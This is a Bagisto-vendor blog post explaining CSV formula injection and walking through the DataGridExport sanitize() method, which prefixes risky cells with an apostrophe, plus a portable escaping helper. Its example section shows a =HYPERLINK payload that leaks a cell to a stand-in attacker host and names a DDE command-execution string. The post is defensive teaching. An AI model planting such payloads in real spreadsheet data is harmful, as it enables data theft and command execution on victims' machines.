CSV formula injection in Bagisto is an easy risk to miss, because every admin grid, from orders to customers
to products and reviews, ships with an Export button.
One click, and Maatwebsite/Excel streams the grid straight into a .csv or .xlsx file.
It feels harmless. You’re just dumping rows you already see on screen into a spreadsheet.
But those rows contain data your customers typed: a name, an address line, a review title.
The moment untrusted text lands in a spreadsheet cell, you hit an underrated bug.
This post shows how Bagisto’s DataGridExport class neutralizes it.
What Is CSV Formula Injection?
Before we secure it, let’s define what CSV formula injection in Bagisto actually means.
Spreadsheet apps like Excel, LibreOffice, and Google Sheets treat any cell starting with =, +, -, or @ as a formula.
That’s the feature: type =SUM(A1:A5) and it computes the result instantly.
The problem is that a .csv file has no way to mark a cell as “plain text.”
So if an attacker’s string lands in a cell and starts with a trigger character, the spreadsheet executes it.
A Real Attack Example
Imagine a customer who registers with this first name:
=HYPERLINK(“https://evil.example/?leak=”&A2,”Click for refund”)
Your finance team exports the customer grid and opens the file.
That cell renders as an innocent link. Click it, and cell A2, an email or order total, is leaked to the attacker.
Nastier payloads use =cmd|’/c calc’!A1 DDE strings for command execution, or WEBSERVICE() to pull remote data silently.
Here’s the dangerous part: the exploit fires on the victim’s machine, inside Excel, long after the data left your app.
Your Laravel validation passed. Your database is clean. The attack happens in a program you don’t control.
Common Formula Injection Entry Points in Bagisto
Any feature that turns database rows into a downloadable spreadsheet is a candidate.
In Bagisto, that’s the DataGrid export pipeline, which reuses the grid’s own query to stream exportable columns:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
// packages/Webkul/DataGrid/src/DataGrid.php public function getExporter() { return new DataGridExport($this); } public function downloadExportFile() { return Excel::download( $this->getExporter(), $this->getExportFileNameWithExtension() ); } public function process() { $this->prepare(); if ($this->isExportable()) { return $this->downloadExportFile(); } return response()->json($this->formatData()); } |
When a request arrives with export=1, process() routes to downloadExportFile() instead of returning JSON.
That hands a DataGridExport instance to Maatwebsite/Excel, which chunks the query and writes rows.
Every admin grid in Bagisto extends this one abstract DataGrid class.
So every export flows through a single exporter, which is exactly why the fix belongs here and nowhere else.
Bagisto’s DataGrid Exporter, Line by Line
Here’s the full class. It’s small on purpose:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
<?php namespace Webkul\DataGrid\Exports; use Maatwebsite\Excel\Concerns\FromQuery; use Maatwebsite\Excel\Concerns\ShouldAutoSize; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; use Webkul\DataGrid\DataGrid; class DataGridExport implements FromQuery, ShouldAutoSize, WithHeadings, WithMapping { public function __construct(protected DataGrid $datagrid) {} public function query(): mixed { return $this->datagrid->getQueryBuilder(); } public function headings(): array { return collect($this->datagrid->getColumns()) ->filter(fn ($column) => $column->getExportable()) ->map(fn ($column) => $column->getLabel()) ->toArray(); } public function map(mixed $record): array { return collect($this->datagrid->getColumns()) ->filter(fn ($column) => $column->getExportable()) ->map(fn ($column) => $this->sanitize($record->{$column->getIndex()})) ->toArray(); } protected function sanitize($value) { if (! is_string($value)) { return $value; } $trimmed = ltrim($value); if ($trimmed === '') { return $value; } // expanded list of dangerous characters $dangerousChars = ['=', '+', '-', '@', "\t", "\r", "\n", '|', '%']; $firstChar = mb_substr($trimmed, 0, 1); // check if starts with dangerous character if (in_array($firstChar, $dangerousChars, true)) { return "'".$value; } // optional: check for suspicious patterns if (preg_match('/^[\s]*[@=+\-|%]/u', $value)) { return "'".$value; } return $value; } } |
How Bagisto Blocks CSV Formula Injection
The four Maatwebsite concerns describe the export declaratively.
FromQuery returns the grid’s own query builder, so the export streams and chunks instead of loading everything.
WithHeadings emits the column labels as the first row of the file.
WithMapping calls map() once per record, and this is the security chokepoint.
ShouldAutoSize just sets cosmetic column widths for XLSX output.
Notice that map() never hands a raw value back. Every cell is piped through sanitize() first.
There is no way for a value to reach the spreadsheet without passing this single gate.
How the sanitize() Method Works
Let’s break the logic into its five decisions.
1. Non-strings pass untouched. Integers, dates, and nulls can’t start a formula, so they return as-is.
2. Trim to inspect, but preserve the original. It uses ltrim() only to look at the leading character.
A payload like =cmd… with leading spaces would dodge a naïve $value[0] === ‘=’ check.
So inspection runs on the trimmed copy, while the returned value keeps its original spacing intact.
3. The dangerous-character list is deliberately wide. It blocks [ =, +, -, @ ] , plus tab, carriage return, newline, |, and %.
Those whitespace characters can split cells and smuggle a formula onto a new logical line.
4. The fix is one character: a leading apostrophe. Prefixing a cell with ‘ forces every major spreadsheet to treat it as text.
The apostrophe stays hidden from the user. So =HYPERLINK(…) becomes a harmless, inert string.
5. A regex backstop catches the same triggers behind leading whitespace, as belt-and-suspenders over the first-character check.
That’s the entire defense. Untrusted text gets a one-character prefix; real numbers and safe strings are untouched.
Build Your Own CSV Formula Injection Guard
The pattern is fully portable, so you don’t need Bagisto to use it.
Any Maatwebsite export can adopt the same guard inside its mapping method:
|
1 2 3 4 5 6 7 8 9 |
protected function escapeFormula(?string $value): ?string { if ($value === null || $value === '') { return $value; } return preg_match('/^[\s]*[=+\-@|%\t\r\n]/u', $value) ? "'".$value : $value; } |
Two rules make it robust: sanitize at the point of export, not on input.
And apply it to every cell centrally, rather than remembering it column by column.
Bagisto gets this right by putting the guard in the one map() that all grids share.
You can’t forget it on a new grid, because you never have to touch it.
Common Pitfalls and Limitations
This is an output concern, not an input one. You want to store =HYPERLINK(…) verbatim if a customer typed it.
The danger only exists in the spreadsheet context, so that’s exactly where the escaping belongs.
Don’t strip these characters on input, or you’ll corrupt legitimate customer data.
The apostrophe appears if you re-parse the CSV. A downstream job reading the file back will see a leading ‘.
That’s a tradeoff of prefix escaping. Strip the apostrophe again on re-ingest if you need to.
Maatwebsite has its own value binder too. But an explicit sanitize() keeps the behavior visible and version-independent.
ShouldAutoSize is XLSX-only. Auto-sizing is silently ignored for .csv , which is cosmetic, not a security issue.
Conclusion
CSV formula injection in Bagisto is a vulnerability that lives between systems.
Your app is secure and your database is clean, yet the exploit still fires once data crosses into a spreadsheet.
Bagisto’s answer is refreshingly small: one sanitize() method wired into the map() every export shares.
It prefixes risky cells with an apostrophe and leaves everything else alone.
It’s a great lesson in placing a security control at the one chokepoint every code path must pass through.
Fix it once, and you protect the entire catalog.
You can visit the hire laravel developers This platform provides a pool of experienced Laravel developers.
You can also explore our Bagisto Extensions.